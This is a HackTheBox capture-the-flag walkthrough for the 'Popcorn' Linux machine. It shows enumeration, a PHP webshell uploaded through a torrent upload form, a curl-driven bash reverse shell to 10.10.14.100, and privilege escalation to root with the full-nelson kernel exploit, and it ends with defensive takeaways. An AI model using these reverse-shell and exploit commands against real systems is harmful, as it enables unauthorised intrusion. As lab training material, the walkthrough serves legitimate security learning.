Popcorn - HackTheBox Medium Linux Machine Walkthrough

Machine - Medium Linux - Popcorn

IP 10.10.10.6

Popcorn is a medium-difficulty Linux box that teaches a realistic web attack chain: abusing a file-upload feature to deliver a webshell, then kernel exploitation for root. The machine is a good reminder that upload endpoints are among the highest-value targets on any web application — they blur the line between “feature” and “remote code execution.”

Contents

• Tools
• Enumeration
• Exploitation
• Privilege Escalation
• Key Takeaways

Tools

• Nmap
• gobuster / dirb / dirbuster
• Burp Suite Community Edition / OWASP ZAP
• NetCat
• linux-exploit-suggester.sh /SearchExploit (OFFSEC exploitDB) / Google

Enumeration

• Nmap with nmap -A 10.10.10.6 gives two open ports, port 22 for ssh and 80 for http.
• On port 80 running gobuster with gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 gives some links as output. Output shows some links, /test, /index, /torrent etc.
• /test page shows phpinfo allowed file upload.
• On /torrent page we can see sign up and log in option.

Exploitation

• After loggin in we can use the upload option. During uploading torrent file, we can modify filename and filecontent to php shell code with burp suite or OWASP ZAP.
• We can goto /torrent/upload directory to get our file and simple curl http://10.10.10.6/torrent/upload/3like1share3folllow3subscribe7.php?test=whoami will execute command on the server.
• Running netcat client on host with nc -lvnp 1337 and command curl http://10.10.10.6/torrent/upload/0ba973670d943861fb9453eecefd3bf7d3054713.php --data-urlencode "test=bash -c 'bash -i >& /dev/tcp/10.10.14.100/1337 0>&1'" will give us shell as user www-data.
• Now we can simply get user.txt as www-data for user george with command cat /home/george/user.txt.

  www-data@popcorn: ls /home
  george
  www-data@popcorn: cat /home/george/user.txt
  userflaglikesharesubscribefollow
  

Privilege Escalation

• After importing linux-exploit-suggester.sh we can get a lot of priviledge escalation exploits.
• One of them is full-nelson (http://vulnfactory.org/exploits/full-nelson.c). After importing it to the machine, we can compile it with gcc full-nelson.c -o full-nelson.
• Then We get root and root flag.

  www-data@popcorn:tmp$ gcc full-nelson.c - exploit
  gcc full-nelson.c - exploit
  www-data@popcorn:tmp$ chmod +x exploit
  chmod +x exploit
  www-data@popcorn:tmp$ ./exploit
  www-data@popcorn:tmp$ ./exploit
  www-data@popcorn:tmp$ ./exploit
  ./exploit
  id
  uid=0(root) gid=0(root)
  cat /root/root.txt
  rootflaglikesharesubscribefollow
  

• Also dirtycow, motd and many other exploits are possible. As the server kernel version is too old.

Key Takeaways

• Upload endpoints are a primary attack surface. The torrent feature validated the file’s torrent metadata but trusted the rest of the multipart request. Intercepting the upload and swapping the file contents for PHP turns an innocuous feature into a webshell. Always validate content type, magic bytes, and extension — never just the application-level metadata.
• Old kernels are a cheat code for privesc. Linux Kernel linux-exploit-suggester cross-references the running kernel with public exploits (full-nelson, dirtycow, and others all worked here). Patching kernels closes this entire class.
• Revershell hygiene. A basic bash -i >& /dev/tcp/... reverse shell gave us the www-data foothold; having a listener ready (nc -lvnp 1337) and a stable upgrade path (python3 -c 'import pty...') keeps sessions usable.
• Map the full chain before escalating. The box pairs a web-application foothold with kernel exploitation — two distinct skill areas, both worth practicing on your own before attempting the box.